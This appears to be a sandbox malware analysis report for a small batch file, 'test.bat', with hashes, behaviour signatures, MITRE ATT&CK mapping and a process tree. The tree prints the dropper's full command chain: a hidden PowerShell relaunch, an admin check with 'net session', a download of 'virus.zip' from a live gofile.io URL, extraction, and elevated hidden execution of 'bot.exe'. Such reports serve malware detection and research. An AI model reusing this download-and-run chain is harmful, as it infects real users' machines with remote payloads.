65a5dfb3cf30589d5adbb45f055157823664e71e98a31f3cf0f099a4dd16fad2

Analysis

max time kernel
148s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 12:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.bat
Size 1KB
Sample260620-pxe7daez7q
SHA256 65a5dfb3cf30589d5adbb45f055157823664e71e98a31f3cf0f099a4dd16fad2
MD5 93150f2d3113885ed8db828a13145ace
SHA1 8d724be91d9354be326607c73e19cb924419a3f9
SHA512 d579f9e0bc4f5cb021454f90aaeb892ae891d1e8d9d1fc49c7b9df2235baa80f353a16108149694e398a83ff5a434f52df5de67ec0e4b1bd78bc00056f687628
TLSH
T15421728312D353224D9E9A205AF1D784F60FC8CA8149D8D736246E916E080FCC3E39D7
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4124	powershell.exe
3	4124	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2236	powershell.exe
6340	powershell.exe
4124	powershell.exe
7092	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2236	powershell.exe
2236	powershell.exe
2236	powershell.exe
4124	powershell.exe
4124	powershell.exe
4124	powershell.exe
7092	powershell.exe
7092	powershell.exe
6340	powershell.exe
6340	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	7092	powershell.exe
Token: SeDebugPrivilege	6340	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5776 wrote to memory of 2236	5776	cmd.exe	90
PID 2236 wrote to memory of 6440	2236	powershell.exe	91
PID 6440 wrote to memory of 4072	6440	cmd.exe	93
PID 4072 wrote to memory of 5520	4072	net.exe	94
PID 6440 wrote to memory of 4124	6440	cmd.exe	95
PID 6440 wrote to memory of 7092	6440	cmd.exe	96
PID 6440 wrote to memory of 6340	6440	cmd.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\test.bat' -ArgumentList 'hide' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\test.bat" hide "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6440
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4072
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://cold-eu-par-2.gofile.io/download/web/d8d82edf-9424-4ac9-bafb-deeeb58f7602/virus.zip' -OutFile 'C:\Users\Admin\AppData\Local\Temp\sysupdate.zip'"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\sysupdate.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\virus' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\virus\bot.exe' -Verb RunAs -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bc40db84771ad3ceeeee156cd2d3d29d277811c203d2242ff97a9a37388d9458
MD5 d86b19b163f35954a95f46bd900138f9
SHA1 a6305a1412bbb10eb26f2a1377a53b89c12afe2d
SHA512 b524d06b60205e42f7fc0631e9676e4866320155cf4191aa5b6d6aad28a1b6dbfb8cddb3e3f9a28013e55d8088daed79d997b0c9bfaf7c54439ed272133033cb
TLSH
T184216A33B3DC8665D889413A00DAEC1037B697D791DEDEDBBB84D248B52F299DE60290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_n1yinic3.eue.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1yinic3.eue.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

sysupdate.zip

Path C:\Users\Admin\AppData\Local\Temp\sysupdate.zip
Size 11KB
SHA256 d311a4f486e2f81d1ffb11b37782d8bc1325b1df96ff21ab3b3de818ae3d5d84
MD5 c229b9d23420402bdea979bae2d31dde
SHA1 cf5cb6cd0c16a3cd252c792a13907df48fa2f0d4
SHA512 bdabdc88c2c5f8c1b6e4730801ad263d8f0172f9cbc19d80de98acaec7d06218f830366b5c10a63cf589de17ed23dd3b84542ab2183f93fe383f9fa3bd6f6fb8
SSDEEP 192:zMilLhIJhKYX5kerCNRupjQ4vYJkTcOHsU:zNOJhda4s4vYJk4OF
TLSH
T1BF32764A1EF280E701E785A97DF2FD0DAD85864BD219FC4832BC80A90FD7D468DC7995
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2236-13-0x00007FFFEB560000-0x00007FFFEBF04000-memory.dmp

Download

memory/2236-7-0x00007FFFEB560000-0x00007FFFEBF04000-memory.dmp

Download

memory/2236-12-0x00007FFFEB560000-0x00007FFFEBF04000-memory.dmp

Download

memory/2236-0-0x00007FFFEB6EF000-0x00007FFFEB6F0000-memory.dmp

Download

memory/2236-15-0x00007FFFEB560000-0x00007FFFEBF04000-memory.dmp

Download

memory/2236-10-0x00007FFFEB560000-0x00007FFFEBF04000-memory.dmp

Download

memory/2236-9-0x00007FFFEB560000-0x00007FFFEBF04000-memory.dmp

Download

memory/2236-11-0x00007FFFEB560000-0x00007FFFEBF04000-memory.dmp

Download

memory/2236-1-0x00000221C8210000-0x00000221C8232000-memory.dmp

Download

memory/7092-38-0x0000019E2BE10000-0x0000019E2BE2E000-memory.dmp

Download

memory/7092-41-0x0000019E2BE10000-0x0000019E2BE22000-memory.dmp

Download

memory/7092-42-0x0000019E2BE00000-0x0000019E2BE0A000-memory.dmp

Download

memory/7092-40-0x0000019E2BE00000-0x0000019E2BE0A000-memory.dmp

Download

memory/7092-39-0x0000019E2BE30000-0x0000019E2BEE2000-memory.dmp

Download